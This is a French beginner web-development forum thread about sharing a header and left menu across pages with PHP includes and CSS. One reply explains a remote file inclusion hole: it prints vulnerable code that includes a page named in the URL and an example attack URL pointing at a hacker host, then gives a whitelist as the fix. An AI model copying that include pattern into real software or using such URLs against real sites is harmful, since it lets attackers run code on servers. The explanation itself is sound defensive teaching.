Coder en Css pour ne pas réinsérer le menu

Fermé
wendybeat Messages postés 4 Date d'inscription jeudi 12 mars 2009 Statut Membre Dernière intervention 13 mars 2009 - 12 mars 2009 à 11:44
KorriganVehuiah Messages postés 171 Date d'inscription jeudi 2 octobre 2008 Statut Membre Dernière intervention 22 mars 2009 - 13 mars 2009 à 10:47
Bonjour,
Je souhaiterais coder un template en css, afin que sur chaque page, apparaisse directement le logo du header, et tous les boutons du menu de gauche.
j'ai vu sur internet qu'on pouvait coder en css pour définir la taille, le fond, de chacun des blocs, mais comment insérer une image dans un document css ?
car je ne veux pas avoir à insérer les images dans chaque page, car
- ça ralentira énormément le chargement de la page
- si je veux changer par exemple un bouton du menu, j'aurai à changer toutes les pages
comment faire ?
merci d'avance
wendybeat
A voir également:

8 réponses

KorriganVehuiah Messages postés 171 Date d'inscription jeudi 2 octobre 2008 Statut Membre Dernière intervention 22 mars 2009 69
12 mars 2009 à 12:06
Bonjour,

Je crois que ce que tu cherches à faire, c'est un php include...

Effectivement, on peut définir tout un tas de choses pour l'ensemble des pages via un css externe mais ce code est rechargé séparément pour chaque page. Donc, le temps de chargement gagné ne sera pas vraiment optimal.

Attention : un menu entièrement composé d'images en css n'est pas accessible à tous. Les images qui ont une signification pour la navigation ou qui comportent du contenu utile ne devraient pas être introduites par css. CSS est un langage de mise en page et donc ne doit comporter que les éléments servant au design de la page. Il existe plusieurs astuces pour contourner cette restriction tout en restant accessible. Je peux t'en décrire l'une ou l'autre si tu veux.

La meilleure solution est donc de composer ta page en trois ou quatre parties.

La première, header.php (par exemple), reprendra toutes les informations de la balise <head>avec le titre de ton site, le lien vers le CSS,... , ainsi que le doctype et l'ouverture de balise <body>. Il peut également comprendre une bannière d'en-tête et un éventuel menu horizontal.

La deuxième, col_gauche.php (encore une fois par facilité, tu peux bien sur changer les noms...) est facultative mais peut servir à introduire un menu vertical d'un côté ou de l'autre.

La troisième est le corps de tes pages, leur contenu. Il commence APRÈS l'ouverture de la balise <body>, déja ouverte dans header.php. Ce seront tes pages "matrices". index.php, liens.php, ou tout ce que tu veux d'autre.

La dernière se nomme footer.php (comme d'hab, le nom peut être changé). Elle comprend un éventuel pied de page, ainsi que la fermeture des balises </body> et </html>.

Ta page index.php, par exemple, sera donc codée comme ceci :

<?php
include ("header.php");
include ("col_gauche.php");
?>

Code de ta page index.php

<?php
include ("footer.php")
?>

ATTENTION : Si tu n'as aucune connaissance en PHP, je te déconseille de te lancer là-dedans avant d'avoir jeté un oeil aux pages dédiées au PHP sur CÇC et sur le Site du Zero. Il y a des subtilités qui sont utiles à connaitre.

Bon courage ;)
0
Salut,

Si c'est un menu qui apparait sur chaque page du peux faire comme ceci (si tu travaille en php).

Tu crée un fichier externe, menu.php par exemple (ou html), dans lequel tu mets ton menu, ton image, tes balises CSS.

Dans chaqune de tes pages, il te suffit de mettre <?php "include("menu.html"); ?>. Comme ça, quand tu change un truc dans ton menu, ca change sur toutes tes pages.

Sinon en CSS, pour mettre une image de fond à un bloc tu mets

#mon_bloc{
background-image:url('mon_image.png');
}

Après il existe d'autre option pour la position du background, si il se répète ou pas... cherche background repeat css sur google par exmple, ou background position css.
@+
Romain
0
Ou alors tout simplement.

tu crée une boite dans toutes tes pages

<div class="boite">Menu, texte, ce que tu veux</div>

et dans ton css

.boite{
background-image:url('image.jpg');
}

Mais le mieux est de faire un fichier menu à part avec un include, comme indiqué précédemment.
0
wendybeat Messages postés 4 Date d'inscription jeudi 12 mars 2009 Statut Membre Dernière intervention 13 mars 2009
12 mars 2009 à 16:28
ok merci.
J'ai réussis donc à insérer avec les includes mon menus, le header et le pied de page.
En revanche, mes pages sont longues, et je voudrais que le menu reste toujours visible sur la gauche.
Je sais comment on fait pour garder une image d'arrière plan fixe, et qu'elle ne bouge pas lorsqu'on descends, mais alors pour le menu, comment faire ?
mon menus est composé d'images crées sous photoshop (le titre de chaque menu inclu dans l'image).
merci d'avance
wendybeat
0
KorriganVehuiah Messages postés 171 Date d'inscription jeudi 2 octobre 2008 Statut Membre Dernière intervention 22 mars 2009 69
12 mars 2009 à 17:50
C'est facile :

#id_de_la_div_de_ton_menu {
position: fixed;
}

Ca réagit comme de la "position: absolute;" pour ce qui est du positionnement mais ça reste fixe à l'écran...
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
wendybeat Messages postés 4 Date d'inscription jeudi 12 mars 2009 Statut Membre Dernière intervention 13 mars 2009
12 mars 2009 à 18:08
merci !
encore une question, par rapport à un script proposé sur le site du zéro
https://openclassrooms.com/fr/courses
Je ne le comprends pas vraiment. Et pourtant, je pense qu'il serait parfait : protège contre les piratages, et éviter d'avoir à faire des copier/coller des includes sur toutes les pages du site web.
En fait, je voudrais utiliser ce type de script pour mon site qui a un menu à gauche constitué d'images renvoyant aux différentes pages de mon site.
La page contenant ce script ci-dessous, ce serait index.php alors ?
merci !

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head>
<title>Mon super site !</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>

<?php
if ($_GET['page'] == "minichat")
{
include("minichat.php");
}

if ($_GET['page'] == "news")
{
include("news.php");
}

if ($_GET['page'] == "forum")
{
include("forum.php");
}

?>

<p>Ce site a été écrit par Mateo21.</p>

</body>

</html>
0
KorriganVehuiah Messages postés 171 Date d'inscription jeudi 2 octobre 2008 Statut Membre Dernière intervention 22 mars 2009 69
12 mars 2009 à 22:25
C'est assez simple, tu vas voir. Ca a l'air compliqué mais si tu t'accroches tu vas comprendre ;)

En gros mettons que tu aies une page nommée accueil.php, et que tu aies besoin de l'inclure dans ta page. Au centre de ta page index.php, tu serais tentée de placer le code

<?php
include ("accueil.php");
?>

Ceci pose un problème, c'est que tu ne peux inclure que ta page accueil, et tu as besoin d'en inclure plusieurs selon les liens du menu. Donc tu utilise une include basée sur une variable créée par l'adresse du lien.

Ton URL de lien devient http://www.tonsite.com/index.php?page=accueil

Dans ton code, tu mets :

<?php
$page=$_GET['page']; (récupère le mot derrière le ?page= dans une variable)
include("$page.php"); (utilise la variable pour générer l'include)
?>

C'est ici qu'est la faille. Sans plus de protection, n'importe qui peut modifier l'URL pour en faire, par exemple,

http://www.tonsite.com/index.php?page=http://www.hacker.com/scriptdangereux

Ce qui va faire que ta page va inclure http://www.hacker.com/scriptdangereux.php et exécuter ce qu'il veut sur TON serveur. Pour éviter cela, il faut prévoir tous les cas de figure envisageables, les préciser dans ton code, comme ça ce qui n'en fait pas partie sera refusé. Donc, pour chacune de tes pages, tu utilises ce modèle :

if ($_GET['page'] == "accueil") (si le texte écrit derrière "?page=" est strictement égal à accueil)
{
include("accueil.php"); (fait l'include de accueil.php)
}

et tu fais ton lien comme ceci : <a href="index.php?page=accueil">Texte du lien</a>

et tu fais pareil pour chacune des autres pages de ton site.

Tu as compris ?
0
Dalida Messages postés 6728 Date d'inscription mardi 14 mai 2002 Statut Contributeur Dernière intervention 11 janvier 2016 920
12 mars 2009 à 18:11
salut,

+ fixed sous IE 6
0
wendybeat Messages postés 4 Date d'inscription jeudi 12 mars 2009 Statut Membre Dernière intervention 13 mars 2009
13 mars 2009 à 09:51
ok merci, mais alors, la première solution proposée par le site du zéro (la solution qu'il appelle brutale), n'est pas plus longue?
le mieux est d'utiliser quoi ?
merci
0
KorriganVehuiah Messages postés 171 Date d'inscription jeudi 2 octobre 2008 Statut Membre Dernière intervention 22 mars 2009 69
13 mars 2009 à 10:47
Les deux solutions se valent. Pour ma part, j'ai tendance à préférer la "brutale" pour deux raisons :

- Pas de risque d'oublier d'ajouter une page à la liste des autorisations si on doit ajouter des pages.
- L'URL s'affiche http://www.monsite.com/accueil.php plutôt que http://www.monsite.com/index.php?page=accueil ce qui signifie que la notation est plus claire, mais aussi qu'il est plus facile d'accéder à une page précide de mon site.

C'est une question de choix personnel...
0